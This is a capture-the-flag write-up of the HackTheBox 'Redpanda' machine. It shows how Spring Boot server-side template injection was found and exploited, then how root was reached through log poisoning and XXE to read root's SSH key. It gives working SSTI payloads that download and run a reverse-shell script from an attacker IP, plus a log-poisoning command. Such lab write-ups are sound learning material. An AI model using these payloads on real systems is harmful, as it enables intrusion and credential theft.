9 minutes
Redpanda Write-Up

Initial Recon
Nmap
Starting with a full tcp port scan, I got the following result:
There are 2 open ports 22 running SSH and 8080 running a web server.
Surfing the Webpage
It appears that the web server is an application that has some blogs and their authors, and has a search functionality to search for blogs.
Trying to search for h character:
Noticing Weird Error
Intercepting the request with Burp Suite:
Its a post request that takes name as post parameter. What I’ll do is to try to inject this parameter with different characters and see if the application behaves differently on a certain character which might indicate an injection possibility.
Using Wfuzz:
There are 4 characters that crashes the application:
%29 => )
%5C => \
%7B => {
%7D => }
Knowing That The Backend Is Spring Boot
Looking at the error to see if it discloses some information about the server:
It doesn’t, however if I search for the error on google, I can see that it relates to Spring Boot Java Application:
Sprin Boot is well know for its Framework that uses Expression Language, and these characters are usually used in Template Expressions. In addition since I can see that my search input is reflected back in the page, this might indicate that my input is being placed within a template expression, so I can try to inject it and see if I get a valid injection response back.
- References for Server Side Template Injection vulnerability: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Exploiting SSTI
After trying some payloads I got a valid hit usinng *{ 7 * 7 } which resulted in a response of “You searched for 49” meaning that the application is executing my input:
Now, searching for specific Spring Boot payloads to get code execution, I found this: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java
A payload like the below can achieve code remote execution on the server, executing the id
command:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Getting Reverse Shell
To get a reverse shell, I will first upload a bash reverse shell script to the target machine, make it executable and then execute it.
The following payloads can achieve this:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.16.2:8000/shell.sh -o /tmp/shell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/shell.sh').getInputStream())}
Now, I will get a fully interactive shell using the below commands:
- Sometimes you need to export the TERM environment variable to be able to clear the sceen using
clear
command:export TERM=xterm
.
Snooping On Root Processes
Using pspy
, I can snoop on processes and see if there is any job being ran by root user:
root user is running a .jar file belonging to the credit-score LogParser custom project, located in /opt directory.
- .jar files are archive files that stores (or aggregates) .class java files and associated metadata and resources like text, images, etc.
- .class java files are the compiled version of a java project’s source code (usually java source code have the extension .java)
Understanding What Root Is Running
So, I’ll take a look at the code of the project to see what it does:
First, in the main function, the application will read a log file /opt/panda_search/redpanda.log, and will call the function isImage() on each line of it.
This function appears to be checking the string parameter called filename (in this case it’s each line of the log file) to see if it contains .jpg substring.
If yes, then it will call parseLog() function on it.
Which will split the line using pipe |
character as delimiter, and will store each part from 0 to 3 in a hashmap.
Then it will print the value of uri key in that hashmap, and will pass this value to getArtist() function.
This function reads an image file from /opt/panda_search/src/main/resources/static directory, in which its name will be the value of uri key stored in the hashmap, and will process it and get the value of Artist metadata tag.
After that, it will print that name and build a new path for a XML file as: /credits/ + [artist name that it just got] + _creds.xml.
Finally, it will call addViewTo() function that takes two parameters, the first is XML Path that it just created and the value of the uri key from the hashmap.
This function will parse the xml file, going over each tag from parent to child looking for the image tag, then it will compare its uri child tag value to see if it matches the uri paramter (the one gotten from the hashmap).
If there is a match, it will add 1 to the views child tag, and then update the totalviews tag at the end, and will write these changes to the new XML file in the path parameter (/credits/ + [artist name] + _creds.xml).
This is how the xml file looks liks:
Idea To Escalate Privileges
The idea of the attack here is that I can change the Artist metadata value of the image file to be ../dev/shm/woodenk for example, so that the XML Path created from /credits/ + [artist name] + _creds.xml will become /credits/../dev/shm/woodenk_creds.xml pointing to /tmp/woodenk_creds.xml where I have write permission to.
Then, this new XML file will have the same content as /credits/woodenk_creds.xml, except for one uri tag that will have /../../../../../../../../../../../dev/shm/greg.jpg as value (pointing to the image that I made having ‘Artist: ../dev/shm/woodenk’ metadata), and this is done to bypass the isImage() function which will return true when reading this.
I also need to append a XXE payload after the uri tag directly, that will point to /root/.ssh/id_rsa in order to read it.
Finally, I’ll poison the log file /opt/panda_search/redpanda.log with a payload like 200||10.10.10.10||mozilla||/../../../../../../../../../../../dev/shm/greg.jpg
(The value /../../../../../../../../../../../dev/shm/greg.jpg here needs to be the same as the one in the XML uri tag to bypass the checking in the addViewTo() function that tries to compare these 2 values).
- Command to poison to the log:
echo '200||10.10.10.10||Mozilla||/../../../../../../../../../../../dev/shm/greg.jpg' >> /opt/panda_search/redpanda.log
I was able to write to the log file since I am part of log group that has write permission to it.
And if I wait a little bit, I will be able to read the content of /dev/shm/woodenk_creds.xml and I will see the content of root’s id_rsa in it, and this is due to the XXE payload that tricks java to unintentionally write the value of /root/.ssh/id_rsa in the file while parsing it.
The malicious XML file will look like this:
Getting Root User
Changing Artist metadata:
Writing new XML and poisoning logs:
Reading root’s SSH private key:
Grabbing root’s SSH and logging in:
HackTheBox Linux Server-Side-Template-Injection Wfuzz Spring-Boot-Java Process-Snooping Pspy Fully-Interactive-Shell Source-Code-Review XML-External-Entity-Injection
1834 Words
2022-11-27 08:06